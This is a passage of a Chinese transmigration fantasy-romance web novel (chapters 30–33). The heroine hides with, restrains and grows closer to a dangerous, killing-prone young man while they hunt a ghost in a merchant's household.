之所以拉着奚逢秋,是因为她一个人不敢,这种时候,最好找个同伙,没有人比杀了管家的奚逢秋更合适。 幸好池镜花记路,而管家的房门自那以后也没上过锁。 不过由于房间许久不住人,屋内陈设早已落下一层灰尘,门一推开,灰尘扑进口鼻,呛得池镜花忍不住咳嗽两声。 少女眨两下眼睛,双瞳灵动地转了一圈,没看见原本应该摆在桌上的头颅,只见到桌底有一摊已经干涸的斑驳血迹。 能做到这种事的,池镜花实在想不出第二个人。 她稍稍偏过头,发尾贴着耳侧轻晃,面带疑惑地问道:“管家的头颅被你处理掉了吗?” 奚逢秋神色异常平静,柔和的阳光自门缝和窗户射进,有无数颗微小灰尘浮在他的四周,反射出微微细光,宛如星光轻轻落在他的睫尾。 “嗯,我给处理掉了,现在应该与他的身体在一起。” 猜想得到完美印证,池镜花摸着心口长舒一口气,不想一抬眸,对上奚逢秋极为不解的表情。 他轻轻歪过脑袋,耳铛透出模糊的浅光,微微晃动中,在空中划出一道道血红的虚线。 “你带我来就是为了找他吗?” 池镜花点头“嗯”了一声,“毕竟被人发现的话会很麻烦。” 不仅奚逢秋会惹上麻烦,就连她这个知情者也会倒大霉,最好还是不要了。 奚逢秋弯起了双眸,眼底流露的笑意不加掩饰,“不用这样麻烦,下次可以直接问我,我会告诉你的。” 会告诉她? 男配什么时候变得这么好说话了? 难道说偶尔也会如此吗? 真是奇怪。 池镜花诧异地微微睁大双眼,没等她细想,门外忽然传来一阵脚步声,她趴在透过门缝看见是袁老板正急冲冲地往这边来,眉头紧皱,嘴里还念念有词。 应是为了寻找管家。 “得罪了。” 跑肯定来不及,池镜花急中生智,忙将奚逢秋塞到床上,蒙好被子,好在过程中他没有反抗,反而不知为何看上去好像挺高兴的。 池镜花没空去猜他。 接下来,她打算一个人躲进衣柜里,奈何柜子太小根本塞不下,但脚步声已近在咫尺,池镜花只好又回到床上放下床幔,索性掀开被子钻进去,躺在他的身侧。 本就不大的床上此时却需要容纳两个人,无奈身体只能紧紧挨着才能避免被发现。 鼻尖仅有一指之隔,四目相对,呼吸交融,是能够清晰地感知到对方身体的每一个动作和每一声心跳。 有什么黑暗中肆意疯长。 奚逢秋睫羽轻颤,指尖微动。 约摸是意识到他想说些什么,池镜花眼疾手快地用右手食指轻轻抵住他的唇瓣,做了个噤声的动作,一张一合间呼出的气息皆数打在他脸颊。 “别说话,会被人听到的。” 第30章 第30章分不清好奇与喜欢。 脚步声由远及近。 在察觉到奚逢秋已无开口说话的想法后,池镜花慢腾腾移开指尖,长舒一口气,不想一抬头,才后知后觉意识到他们离得有多近。 帷幔被风轻轻吹起,隐有朦胧光线透进,被子里狭小逼仄的空间,他们发丝交叠缠绕,呼吸间炙热气息在彼此肆无忌惮地传递游走。 池镜花微微睁大双眼,仿佛能够听见自己此起彼伏的心跳声 不停叩击耳蜗,在里面来回盘旋。 她压下这股异样的情绪,佯装镇定地抬起眼眸。 当柔软的指尖从少年唇上缓慢离开时,他睫羽轻颤了一下,随后又平静地垂下眼,遮住眼底涌动的情绪。 见他表情如常,池镜花松了口气,可当房门“吱呀”一声被推开时,刹那间,她的心脏又提到了嗓子眼。 袁老板快步走进房间,左右看不见人影,嫌弃地掩住口鼻,自言自语地道:“奇怪,这老东西到底去哪儿了?” 说罢,他开始在房间里随意走动,零碎的脚步声离他们愈来愈近,不知是冲衣柜而来还是床。 池镜花正积极思考对策,指尖倏忽摸到一片冰凉。 她微微垂眸一看,发现是奚逢秋不知何时已扯出细长的白丝,正丝丝缕缕绕过她的指尖,准备向帷幔外探去。 什么含义已不言而喻。 “没关系,很快的。” 因为是只说给她听的,所以奚逢秋的声音很轻,就像是安慰她不要害怕一样,他微微笑了笑,温柔似水的眼底闪过一丝难以察觉的兴奋之情。 池镜花丝毫不怀疑他说的话,就如当初杀管家一样,杀人之事对他来说不过家常便饭。 不过对象是袁老板,无冤无仇的,杀他实在说不过去。 而且她与男配是绑定的,他出事对她没有任何好处。 “等一下。” 不知哪来的勇气,池镜花忽然一把拽住所有白丝,牢牢攥在手心,刹那间,方才还足以杀人的利器在她手里完全没了力气。 尽管如此,池镜花丝毫不敢懈怠。 趁他分神之际,她立刻将这些危险的白丝一道道缠绕在自己的手腕上,进一步制止他的可怕行为。 “再等等,好吗?” 少女的声音又轻又软,抬起的亮晶晶双眸中盛满祈求之意。 奚逢秋指尖一顿,纤长睫羽下,蓝紫色的双瞳正凝视着少女纤弱如玉的指尖。 池镜花完全猜不到他在想什么,但思忖片刻,决定尝试触碰他的手指。 起初只是稍微碰一下,奚逢秋指尖一颤却没有闪躲,见状,池镜花一点点前进,指尖插|入他的指缝,慢慢想前推进,直到十指紧紧相扣,她终于得以松口气。 这样一来,就能从根源上杜绝男配杀人的可能性。 奚逢秋的视线不可避免地向下望去,眼底满是困惑。 她又牵他了。 就和昨晚一样。 哪怕他明白池镜花与他牵手的目的分明是想阻止他杀人,但是好奇怪,他忽然间没那么想杀袁老板了。 他现在只想她不要松手。 于是,他也回应了她。 除去五指和掌心她严丝合缝地贴在一起,池镜花更觉得绕在她手腕的细线缠得更紧,但是并无伤害之意。 池镜花想要抬头看他,但脚步声已至跟前,她下意思往他身边钻,再抬头时,双方鼻尖已经轻抵着彼此。 清香瞬间钻入鼻腔,池镜花无意识地猛地吸入两口,差点被花香冲昏了头脑,回过神来,袁老板,人已经站在帷幔外边。 “嘘,不要说话。” 哪怕他们已是近到快亲上的距离,池镜花依旧只是镇定地做了个噤声的动作。 奚逢秋只是静静看着她,只觉得四周被一种无形的热气所包裹。 好痒,但是意外地不讨厌。 袁老板停在外边,正要掀开帷幔,门外,不知是谁大喊一声:“老爷,人手都安排好了!” 见状,他只好先放下帷幔,转而出去办正事。 听见脚步声渐行渐远,池镜花悬着的一颗心彻底放下。 “好了,没事了。” 她一说完便松开五指,一股脑掀开被子,坐起来大口呼吸新鲜空气,待心跳恢复正常后偏头看去,发现奚逢秋也已坐起,只是神情有些古怪。 池镜花没时间细问,她低头尝试解白丝,但跟之前一样,所有白丝一旦缠上,想要自己解开绝无可能。 但总不能这样走出去,没有办法,她只能求助于奚逢秋,故意抬手在他眼前晃了两下。 “你能帮我解开吗?” 话音刚落,他便探出一根骨节分明的食指,以微凉的指腹轻轻划过少女纤细的手腕。 随着肌肤传来一股凉意,顷刻间,所有白丝化为乌有。 池镜花眨了眨眼睛,视线不由自主地落在他的指间。 不得不说,男配的手指虽然总是沾满血腥却异常漂亮,她若是手控一定会很喜欢。 当然,现在也挺喜欢。 她喜欢好看的,跟奚逢秋的审美截然不同。 “谢谢。” 挣脱束缚的池镜花活动下手腕,蓦然想起什么,朝少年笑了笑,眼睛弯成血色,高兴之情快要溢出双眸。 “对了,还要谢谢你没有杀袁老板,谢谢你啊奚逢秋。” “没什么……” 微风吹动帷幔,一缕明媚的日光落在少年低垂的睫羽,他墨发微扬,微微低着头,神色迷茫,连他自己都说不清为何会被她说服。 或许是因为她扯住白丝、牵他的手……所做出的一切超出了他的期待。 “池镜花。” 没有来由地突然轻声唤她姓名。 池镜花一偏头,看见奚逢秋露出个人畜无害温柔的笑。 “你真的好奇怪。” 又是奇怪。 算了。 池镜花一笑而过,“只要你不讨厌我就行。” 让他喜欢过于困难,只能从最简单的下手。 奚逢秋不语,只向帷幔外看去,歪了歪脑袋,耳铛一晃,他微微抬起一根苍白的指尖指着外面,扬起唇畔,蓝色双瞳清晰地映出少女姣好的面庞。 “要出去吗?” 池镜花轻“嗯”一声,低头时看见手腕留下几道轻微的红痕,昭示着刚才发生的一切并非错觉。 她摸了摸手腕的红痕,一时半会儿怎么也消不下去,只好作罢,抓紧时间跟男主汇合商量捉鬼对策才是。 等他们找到赵星澜时,他正在整理符咒,见到二人,将符咒分给他们一些,要他们贴满整个院落,只留个正门,是为了让衣服鬼可以找到他们。 同样的事情做第二遍,池镜花有了经验手脚很快,这一次只花了不到一个时辰。 等回到院子与男主汇合时,奚逢秋也在。 察觉她毫不掩饰的视线,少年微微偏头看了过来,日光透进耳铛,形成一道暖色火光,随风轻轻摇曳,他眉眼如画,缱绻着如沐春风的笑,看着总是温温柔柔的。 而女尸,早已被人运了回来。 棺椁已被人打开,白骨安详地躺在里面,与前几日他们去墓穴下面看见的模样无差。 赵星澜思忖片刻,单独塞给她一张泛皱的黄色黄符,低声询问:“符咒的用法赵某之前已跟你说过,池姑娘,你还记得吗?” 池镜花点点头,“嗯,记得。” ——贴上就成。 赵星澜继续道:“那就麻烦池姑娘守在门口,衣服鬼一进来就将这道符贴在门口,这样,她就算想跑也不掉了。” 池镜花不禁疑惑:“女鬼白天也会出现吗?” 赵星澜语气十分笃定,“会的,只要有她在意的物件就一定会的。” “嗯,好,我知道了。” 池镜花的最大优点就是听话:在学校听老师的,在家里听家长的,在书里自然要听男女主的。 她将符咒折好小心收起,目光自然而然地落在奚逢秋身上。 少年孤寂地站在树下,柔和的日光自枝叶缝隙倾泻而下,落于白衣间的斑驳光斑悠悠晃晃,宛若一张游动的画轴。 在遇到与自己无关的事情时,他总会无聊地翻花绳,只有在她看向自己时,才会抬眸施以温暖恬淡的笑容。 加上谪仙般的外表,天生就具有欺骗性。 “池姑娘别担心。” 想到他们二人当前微妙的关系,赵星澜意识自己不应该拆散他们,不由露出歉意的笑。 “赵某只是想请奚公子帮个忙,助赵某杀了女鬼。” 想法被男主一语道破,池镜花尴尬地挠了挠脸。 她揣起黄符从奚逢秋身边经过时脚步一顿,望着他眨了眨眼睛,下一刻便踮起脚尖,右手掩住唇角,附在他 耳旁微微吐息。 “奚逢秋,待会见啦。” 池镜花说完就溜了,奚逢秋温热的气息也随之消失,他轻笑一声,再度垂眸看向指尖白丝时,殊不知早已乱作一团。 ——奇怪。 此刻,正躲在门后的池镜花也觉得相当奇怪。 这男配到底怎么回事? 是分不清喜欢和好奇吗? 就算不喜欢也有偶尔动心的时候吧。 怎么感觉没什么变化啊? 她暗自叹了口气,低头时,无意看见一团黑漆漆的黑影正沿着屋檐下的黑色阴影迅速移动。 是衣服鬼! 真的来了! 顿时,池镜花如临大敌,紧张到无法呼吸,脑海不停重现雨夜发生的事情。 她只能强迫自己保持镇静,直到等到衣服鬼踏进院子里才猛地“啪”地一下将符咒贴在门上。 幸好衣服鬼对此毫无察觉。 待她吃力关好大门,忽听到一阵奇怪的响动——正是她来时的方向。 池镜花犹豫着要不要过去。 其实,她能想到男主这么安排的理由。 因为她没什么保命技能,而且还是衣服鬼的目标之一,所以最好能够远离危险。 如果可以,她也不愿让自己陷入危险,但心中莫名焦躁,只得在门口来回踱步。 很快,异响停了。 池镜花忙不迭地往回赶,在看见满地狼藉时骤然愣住。 棺椁里的女尸不见了。 赵星澜受伤倒地不起,手里攥的不是黄符而是玉佩,而不远处的树荫下躺着几近透明的女主,身上的红衣在打斗中被撕扯一角。 地面有一滩不明血迹。 阳光之下,奚逢秋就站在血迹旁边,不知是哪里受了伤,鲜红的血迹顺着臂膀,流向微微蜷曲的苍白指尖,一滴一滴地砸向地面。 无声胜有声。 正如初次见面那般,哪怕受了重伤也毫不在乎,眼底甚至闪烁着雀跃和兴奋,期待接下来所发生的一切。 他微微笑着,仰起头,隐隐可见其肩上的伤口,更为准确地说,是有谁故意盯着黑妖造成的伤口攻击他。 池镜花心头一颤。 她下意识地顺着他的视线望去,只看见白鹤正立在屋顶上,一边伸着雪白的脖子一边转动眼珠,似在寻找什么。 “奚……” 池镜花正要喊他,忽然听到一道奇怪的响声,待她低头,发现有两枚染上血迹的铜钱一前一后滚到她脚边。 好像哪里不太对劲。 30-40 第31章 第31章可以用力一些。 为保持冷静,池镜花连做了两个深呼吸。 包裹着淡淡香气的铁锈血腥无孔不入,犹如空气中浮着一层透明薄膜,越是呼吸,血腥便争先恐后地攀附而上,极速游走在身体四周。 池镜花咬了咬唇,沉默弯腰拾起铜板,当她将两枚铜钱递给奚逢秋时,见他缓慢伸摊开修长五指,轻轻笑了下,溅落脸颊的几滴不规则的斑驳血迹在日光下格外醒目。 “多谢。” 话语落地时的尾音微微上扬,语气中似夹杂着难以克制的兴奋,但待池镜花却极为有礼懂分寸。 池镜花淡定垂下眼睫,轻声回了句“不客气”,转而掰开男主的手指,将玉佩轻轻放置女主身边,这样一来,女主醒来就能回到玉佩里,避免被阳光灼伤。 不过,在她握住玉佩时,惊讶发现指腹不知何时沾上鲜红的血,应是从铜板上不小心剐蹭下来的。 待她做完这一切回过身时,看见奚逢秋衣袂轻扬,苍白的面颊带着清浅的笑意,正静静凝视着她,见她回眸,眼底笑意更深。 似乎一直在等她的样子。 池镜花不明所以,但很是好奇这里究竟发生过什么。 “那边。” 正思索着,奚逢秋忽微抬食指,指着不远处,以轻轻柔柔的声音发出诚挚邀请。 “要一起过去吗?” 池镜花循着他指尖的方向望去,是连接另一处宅院的长形走廊,此刻正值午间,但不知为何,光亮却透不进去。 她犹豫地“嗯”了一声,与奚逢秋并排而行在幽暗的走廊,头顶上方时不时传来白鹤闹出的清脆鹤唳,是他在给奚逢秋指明方向,鼻间也萦绕着浓烈的血腥。 她微微扭头,瞥见奚逢秋肩胛处崩裂的伤口,垂下脑袋,不停摩挲指尖的血迹,脑海中突然闪过一个念头。 ——男配是不是又犯病了? 铜钱应是为了占卜,他占卜就只能有一个目的:杀衣服鬼。 所以,他是故意放走衣服鬼的吗? 就跟在山上一样,是为了将对方引到特地的场所然后猎杀。 那他们现在要去的地方应该就是衣服鬼的藏身之地,即他给衣服鬼所占卜出的死亡之所。 真是个彻头彻尾的疯子! “池镜花。” 毫无来由地忽然唤她一声。 池镜花疑惑地偏过头。 佩在少年左耳的耳铛悠悠摇曳,他极为漂亮的眉眼蕴着淡笑,脸上的血迹早已干涸,伤疤淡去不少。 “你是在害怕吗?” “啊……啊?” 池镜花一时没反应过来,回过神来发现自己的心跳确实不大正常,但并非全都由于惧怕,还有出于对男女主的担心。 “不是,我只是有些不明白你为何要这么执着占卜,明明结果都一样……” 都是死,为何要纠结死在哪里,这是池镜花一直所不能理解的。 似是想起什么,奚逢秋忽然轻笑一声,去一阵阴风扫过她耳畔,长睫下的双眸是难以掩饰的愉快。 “也许是因为很有意思。” 说罢,他抬起右手,狠狠按住肩胛的伤口。 果然没有任何知觉。 在遇到池镜花之前的很长一段时间里,他没有痛觉,所以也不会痛苦,但看别人痛苦是他最大的乐趣之一。 但是,直接杀,很没有意思。 可他不明白。 为什么只有池镜花可以给予他疼痛,而别人不管是人还是妖,哪怕给他造成无数伤口也无法带来一丝痛楚。 这种感觉很奇妙。 至少,令他有种活过来的感觉。 就如同占卜杀人一样。 池镜花不说话了。 事实上,在问出这个问题之前她就猜到奚逢秋会这样回答。 变态嘛,总有一些小众的癖好,正如他喜欢疼痛和被她扑倒一般。 池镜花抿了抿唇,转过头,专心走路不再说话。 不知过去多久,穿过幽暗诡异的走廊,来到一处从未见过的废弃老宅,院内有一口枯井,唯独枯井旁的杂草伏在地面,似是被人踩踏过。 墙院杂草丛生,四周皆被贴上黄符。 衣服鬼若是躲在这里,应当出不去。 池镜花好奇地四处张望。 “到了吗?” 奚逢秋轻轻应声,点头时的动作乖巧极了,让池镜花刹那间梦回他小时候。 不过须臾,一阵狼狈的哭喊声便闯入池镜花脑海中。 “道长救命!我错了,真的有脏东西,救我,快救我!来人救救我!” 是袁老板! 声音是从旧宅里传来的,门口倒着几根横七竖八的木柱,隐隐可察觉到里面的森森鬼气! 但是他怎么在这? 是在跟踪他们吗? 没空理会这些,池镜花一口气掏出男主所给的黄符,跪在地上挑挑拣拣,想看看有无可用的。 一道阴影从头顶盖住她的身影,耳畔划过少年不急不慢的声音。 “你很想救他吗?” 池镜花闻声仰头,双瞳倒映出少年垂落下来的几缕乌发,被风吹散后,她才得以看见奚逢秋略显疑惑的神色,肩胛的伤口还在恶化,顺着指尖滴进草丛间,挂在枯叶上。 她诚实点头,“嗯,我很想救他,你能帮我吗?” 立在日光下的病态少年眼眸轻垂,唇畔不自觉地扬起一个温暖和煦的笑。 “那你可以答应我一个要求吗?” 要求? 池镜花眨了眨眼睛,脑袋飞速运转。 “什么要求?是要给你上药还是牵手?” 她能想到的只有 这两个,却见奚逢秋难得神情纠结,垂着的眼睫轻轻颤抖。 “嗯……我得再想想……” 池镜花直起身,掩唇假咳两声,“只要是正常要求,不是想要我的性命或者身体其他器官都可以。” 听她这般有底气,奚逢秋兀自笑了一下,耳铛也随着他歪头的动作在她视线里轻轻晃了一下。 “池镜花,真好说话。” 是啊是啊,在生命面前,她就是很好说话,哪怕这条命是别人的,她也会为之动容,哪里像他,眼里压根没有生命。 不过男配的语气听上去很是高兴,池镜花自认为交易谈妥了。 她胆战心惊地朝旧宅看了一眼,袁老板求救声依旧不绝于耳,其中还掺杂着衣服鬼的古怪鬼泣。 怪渗人的。 她打了个冷颤,下意识抓住他的衣袖,无意致使双手沾满鲜血,但眼下可不是在乎这种事的时候。 她半仰起脸,亮如星星的眼睛一眨不眨地盯着他。 “现在可以帮我救人了吧?” 奚逢秋没有回答,而是慢腾腾摊开五指,投在地面的阴影慢慢靠近少女,最终停在她跟前。 这时候就别牵手了吧! 池镜花“啪”地狠拍了下他的掌心,言辞令色道:“等会儿再牵!” 奚逢秋只觉得指尖一阵酥麻,这股奇怪的感觉顺着他的他指尖蔓至手臂、肩胛、颈侧……肆无忌惮地游荡在身体各处,吞噬着他的情绪。 “我并非要与你牵手。” 他的声音轻轻慢慢,宛如山涧清泉拍打石子,荡出动听的乐符。 池镜花不明所以地望过去。 少年唇边擒着温和的笑,阳光下面颊的伤口显得更淡,一双蓝紫色的双瞳映出少女不解神色,而又忽而塞给她个物什。 掌心传来一阵微凉,她低头一看,是发现几根白丝,在太阳的直射下,若非他强塞给她,根本不会注意到。 但池镜花不明白奚逢秋为何要给她这个,而且这些白丝并非连着他的指尖。 “不要紧张。” 大多数时候,少年含着浅笑眉眼间掖着无数耐温柔,一言一行宛如一名行走在学生间年轻的耐心导师。 “可以用力一些。” 用力? 是用力扯住的意思吗? 几乎每次,池镜花都需要对他所说的话连蒙带猜,运气好的话,就能像现在一样,一次猜对。 池镜花施加全身力气,狠狠一拽。 下一刻,袁老板忽然从屋内飞出屋外,面朝黄土,狠狠摔在地上,砸出一脸的灰,骨头都快散架了。 同时,握在她掌心里的白丝瞬间化为齑粉。 池镜花傻愣怔在原地,直到袁老板断断续续的“哎呦哎呦”求救声才唤回她的神识。 她一转头,奚逢秋已不见人影,再回过头来,发现他已行至木柱旁边,眼看正要朝屋内而去。 或许是为了杀衣服鬼。 池镜花不想拖后腿,唯有努力做好自己的事才是。 她连忙扶起袁老板,“袁老板,你没事吧?” 袁老板灰头土脸头发乱糟糟的,身上的新衣东拼西凑不出一块好布料,脸上很多地方都磕破了皮,本就丑陋的一张老脸更显滑稽。 “命是保住了,但是腰疼,不仅腰疼,浑身都疼,哎呦哎呦,好疼。” 池镜花尴尬笑笑,不知该回什么。 她又不会治病。 池镜花干脆转移话题:“对了,袁老板,你怎么在这?” 她这么一问,顿时,袁老板眼神躲躲闪闪,心虚地低了低头。 哪怕袁夫人因女鬼而疯癫,但他一直就不信家中有鬼,本想跟过来瞧瞧是怎么回事,怎知会被卷入其中。 就在此刻,屋内忽然传来一声响彻云霄的惨叫声,衣服鬼闹出的动静令门外两人纷纷投以略带惊恐的目光。 “为何都要针对我……” 随着衣服鬼的鬼魅般的声音逐渐消散于冷风中,袁老板差点没站稳吓晕过去,幸得池镜花眼疾手快地抓着他的胳膊扶了一下。 当奚逢秋右手拖着一截零散发出“咯吱咯吱”诡异声音的白骨从屋内走出时,看见门外两个人,指尖蓦地一顿,面上笑容并未消失,肩胛开出一朵艳丽的花,只是微微歪过脑袋,耳铛从冷白颈侧划过,忽然生出个古怪念头。 啊。 想到了。 他的要求是:池镜花不要碰袁老板。 第32章 第32章悄无声息地滑进一根食指。…… 白骨拖地时发出的古怪响声吸引了池镜花的注意力。 她好奇朝声音源头望去。 由头骨与地面摩擦而形成一条浅白色的痕迹,周围滴落着鲜艳的血迹,正因奚逢秋的缓慢步伐而愈来愈近。 躲在深厚云层后方的日光逐渐露脸,慢慢映在少年漂亮苍白的面颊,照亮蓝紫色双瞳,宛若闪烁着古怪星光,他唇畔含笑,模样看着极为温和。 池镜花却忽然有种强烈违和感。 “奚逢秋?” 她尝试唤他一声,而后只见奚逢秋停在她跟前。 不到半米的距离,日光倾洒而下,他微微弯着的双眸中盛满古怪的笑意,虽并非杀意,可却蕴藏着某种难以言喻的情绪。 “嗯,我想好了。” 池镜花立刻明白他的话中之意,虽是她亲口答应的男配满足他个要求,但面对未知事物时,心中难免忐忑。 “你想让我做什么?” 奚逢秋只是微微笑着,垂下长睫,置于脸颊的月牙阴影微微颤动,目光渐渐向下游离,定格在她泛的指尖,唇瓣微启。 “放手就好。” 放手? 池镜花一时没反应过来,仰头怔怔地望他。 日光有些刺眼,他看着也很奇怪。 知晓她没能理解其中含义,奚逢秋微笑着耐心一字一句地解释。 “不要再碰袁老板了。” 不要碰袁老板? 这是什么要求? 奇奇怪怪。 池镜花满是疑惑地打量着他,指尖力气没有收敛。 “为什么?” 对于她的提问,奚逢秋没有说明原因,只是轻轻歪了下脑袋,鲜红的耳铛穿梭在墨发间,表情看上去天真又无辜。 “不可以吗?” 池镜花无言以对,总不能打自己的脸。 她转头看了眼还在抚着胸口顺气的袁老板,好意提醒道:“袁老板,你站好了,我要松手了。” 袁老板甚至还没意识到发生了什么便身体一沉,差点又栽倒在地,下意识喊了声“哎呦”。 池镜花本能地想去扶他,不料奚逢秋直接一句话打断一切。 “答应的事情不可以反悔哦。” 他的声音分明很轻,却如平静湖面所掀起的惊涛骇浪,稍不注意便叫人溺死其中。 池镜花指尖一顿,默默收回一切背在身后,双手交叠相互摩挲,仰头露出个笑容。 “不是,我没有反悔。” 她既不敢也不会反悔,只是不理解奚逢秋为何不让她碰袁老板,难道袁老板身上有什么秘密? 为解答心中疑惑,池镜花踮起脚尖,仰着脸,附在他耳边低声询问:“袁老板怎么了?是不是有什么不可告人的秘密?你跟我说,我不会告诉别人的。” 奚逢秋偏过头,少女炙热的气息落在他的眉眼、鼻尖和脸颊,附上他的唇瓣,仿佛顺着喉咙侵入五脏六腑,引起一阵灼灼热意。 “我只是不大喜欢他。” 啊??? 不喜欢他! 这算哪门子理由! 新奇倒是挺新奇,但也不能因为他不喜欢袁老板所以也不许她接近,太 不讲道理了。 但他完全不像是说谎的样子。 但池镜花忽然产生个邪恶的念头,想要去逗逗他。 少女蓦地弯了弯眼睛,阳光照进双眸,宛若盛夏满是繁星的夜空。 “那你喜欢谁?” 他喜欢谁? 这个问题是他遇到的最奇怪的一个。 但也并非无解。 他微微垂下眼眸,颤动长睫盖住眼底情绪,树叶光斑随风在衣间轻轻摆动,声音又轻又慢。 “我不会喜欢人的。” 更为准确地说,他压根不明白为何要有喜欢,分明是一件极为痛苦的事情……或许,这种情感不应该存在于世间。 就知道他会说这种话。 池镜花毫不怀疑,但难免失望,她干脆扭过头不去看他,耳边却莫名地拂过少年的一声轻笑。 她不明所以地回过头。 少年眼含浅笑,脸颊处的伤口若隐若现,红如血滴的耳铛在风中轻轻摇曳。 “你呢?” 她? 喜欢的人? 池镜花骤然愣住,在极端的时间,将自己这短暂的一生都回顾了个遍,得到的结论只有一个,于是不由自主地张了张口。 “我没有。” 奚逢秋依旧在看她,却叫人看不透他在想什么。 就在此时,远远地,视线中出现赵星澜身影。 他看上去身体状况不太妙,托着脱臼的左手硬撑着一路跑来,脸色惨白,唇瓣毫无血色,身躯摇摇欲坠,不忘关心池镜花跟奚逢秋两人。 “池姑娘,奚公子,你们没事吧?” 没等男主的关心对象开口,袁老板老泪纵横地犹如救命稻草般的抱住赵星澜,鼻涕泪水一大把,流淌在他的肩上。 “我有事,我有事,道长,你快送我回去,这个地方太恐怖了,有鬼啊,真的有鬼!” 赵星澜分明受了伤,却一直用完好的右手轻轻抚摸袁老板的后背安慰他,视线望向奚逢秋手里的白骨。 缠在白骨上的白丝在日光下泛着银白色的光芒,如一把撕裂万物的利刃,潜藏着无数不安和危险。 ——奚公子,真的有些奇怪。 他想把这件事告诉池镜花,却一直找不到什么机会。 那两个人,貌似总是黏在一起,要单独约见池姑娘还真的有些困难,因为他决定让纪望慕去做这件事,虽然她是女鬼,但生前也是女子,总是好说话些。 纪望慕对此没意见,不过她只能在晚上出现,所以只有再等等了,而且,池镜花跟奚逢秋两个人也不在袁府。 衣服鬼一经拔除,池镜花便火急火燎地拖着奚逢秋去医馆。 虽然她感觉自己身体没什么大毛病,不过还得老神医看完再说。 而且,奚逢秋肩胛上的伤也是个大麻烦。 不过,他们赶到的时间很不凑巧,上一个病人刚进去,他们就到了。 所以,他们得等。 不过,有奚逢秋陪着,就不会太无聊。 这样想着,池镜花无意识往他身边凑了凑,贪婪地吸了两口气,没有血腥,只有花香。 他正低着头无聊地翻花绳,倾斜的日光怕落在他脚边,攀爬上他的衣间,落下一道道模糊的树影。 池镜花思索片刻,忽而张了张口:“奚逢秋,你可以教我翻花绳吗?” 就算奚逢秋不去刻意关注,少女清脆的声音在他听来总是格外引人注目。 他微微抬眸,深浅不一的枝影流转在少年的衣间,漂亮的眉眼间透露出几分困惑。 “你感兴趣吗?” 池镜花重重点头,戴在发间小巧的浅紫色蝴蝶珠钗展翅欲飞。 “嗯,感兴趣,跟你有关的一切我都很感兴趣。” “这样啊……” 他复又垂下脑袋,睫羽颤动几下,也不知究竟信没信。 池镜花耐着性子等了会儿,以为没有结果,不想下一刻,奚逢秋忽然抬眸笑了笑,眼底泛着清润的碎光,笑得温和。 “那便试试吧。” “好。” 其实,池镜花小时候学过翻花绳,不过她手指太不灵活,只会最基础的招式,久而久之,别人都不找她翻花绳了。 “我准备好了,可以开始了。” 说着,她伸出两只手,让奚逢秋将白丝一圈圈地缠在自己的指尖。 白丝微凉,池镜花一经接触手指忍不住蜷缩了下。 察觉到她在本能退缩,或是还夹杂着害怕之意,奚逢秋指尖一顿,有些疑惑不解地问:“还要继续吗?” 池镜花坚定点头,又将手指往前进半寸。 “嗯,继续,我想让你教我。” 她倒也不是单单为了跟他学翻花绳,这并非重点,她是想通过这件事拉进与男配的距离,继而了解他、攻略他。 一想到攻略任务,池镜花只觉得自己当真不容易。 都这样努力了,结果才讨到25的好感度。 对此,池镜花只有一个评价:心硬。 不过,当她想起男配好感度提升的几次行为,又多出个评价:有病。 在她胡思乱想出神之际,奚逢秋已将白丝缠好。 “我先自己试试。” 作为已经看过他无数次翻花绳的池镜花,她决定先凭借记忆自己试试。 独自低头鼓捣了半天,池镜花终于勉强翻出个花样来——还是在奚逢秋的纠正下。 但仍旧颇有成就感。 她兴致勃勃地抬着头,眨了眨灵动的双眸,眼里堆满清澈的笑意,清风扬起她的乌发,不经间,一缕发丝落在奚逢秋肩上。 “是这样吗?我做对了吗?” “嗯,对了。” 他乖巧点头,一缕发丝从耳侧滑落,与肩上的发丝抵死般纠缠在一起。 “很聪明。” 他总是这样夸她聪明,次数多了,池镜花都有阴影了。 她不由好奇问道:“是真心夸奖吗?” “我想应该是的。” 见他这样毫不隐晦地表达自己内心的真实想法,令池镜花反而有些不好意思。 “我再试试别的,遇到不会的你再教我。” 她继续低头鼓捣手中白丝,日渐衰败的阳光投在她的衣裙一角,映出陆离斑驳的一方世界。 时间仿若凝滞,只有无声的微风在缓缓吹拂,扬起二人冰凉发丝,在空中飞舞交缠,最后归于一处。 奚逢秋一言不发地静静凝视着她,视线从她的发顶寸寸向下,扫过她的额头、眉眼、眼睫、脸颊、鼻尖……最终落在她的红润的唇上,莫名想起昨晚发生的一切。 她主动亲他了。 那的确是亲。 虽然他毫无这方面的经验,但书上明确记载:这个动作就是“亲”。 饶是现在,她也没有向他说明亲他的理由。 可与她亲吻时的感觉却很奇怪。 明明一点也不疼,但却也同样令人兴奋。 真的相当有意思。 不管是牵手还是亲吻,都是如此。 念及此,不知怎地,他忽然鬼使神差般的探出手,按上了她的唇,悄无声息地滑进一根食指,迫切探寻那一片柔软和温热。 第33章 第33章也想让他喜欢我。 太阳西沉,柔和的日光仿佛给站在医馆门口的两人镀上一层温暖的色调。 少年如玉的指尖冰凉,在碰到唇瓣的刹那,犹如黑夜里觊觎已久的毒蛇,死死牵缠心仪猎物。 池镜花被迫仰头,垂落的长发在风中轻轻摇曳,她不禁打了个冷颤,可扑面而来的香气中叫人沉醉,令她不知不觉中微微张开唇瓣。 在此间隙,指尖灵巧地继续逐步深入探索,绕过牙齿,不多时便已轻轻抵上那片湿热。 意识到他在做什么以后,池镜花蓦地神情一滞,舌尖颤抖几下,想要往后退缩,却过分慌张而一不小心牙齿轻咬,柔软的舌尖舔了一下。 奚逢秋指尖一顿,似是没料到她会主动贴近,缓慢抬眸凝望她,眉宇间凝着一团化不开的疑云。 池镜花脊背挺直,不由分说地双手握住,阻止他前进,直到退出口腔,尽管指腹依然抵着她的唇瓣,但稍稍令人安心不少。 没等她问他为何要这样做,耳畔忽而擦过一阵微冷的风,夹杂少年清冽的话音,如螺旋般前进,直达耳底。 “我只是有些好奇。” 好奇? 池镜花有些迷茫地眨眼,抬眸却看见奚逢秋目光澄清不含任何杂质,面上带着微笑,似乎正如他 说的那般。 可是……好奇就能将指尖探入她的口腔中,肆意搅动她的唇舌吗? 池镜花咬了咬唇瓣,“我知道。” 她只是有些气恼,气恼奚逢秋永远也不知道自己的动作有多暧昧,若他喜欢她无可厚非,可事实并非如此。 正想着,他们前一位病人拿了药正要离开医馆,老神医紧随其后,声音低沉。 “二位,进来吧。” 池镜花立刻松开双手,习惯性地跟了句“来了”,随后又笑着对奚逢秋说:“奚逢秋,我们一起进去吧。” 他只是轻声应了下,随着指腹按住的柔软离他而去,神情有些恍惚,目光低垂,盯住指尖清澈晶莹的水渍。 那是她留下的痕迹。 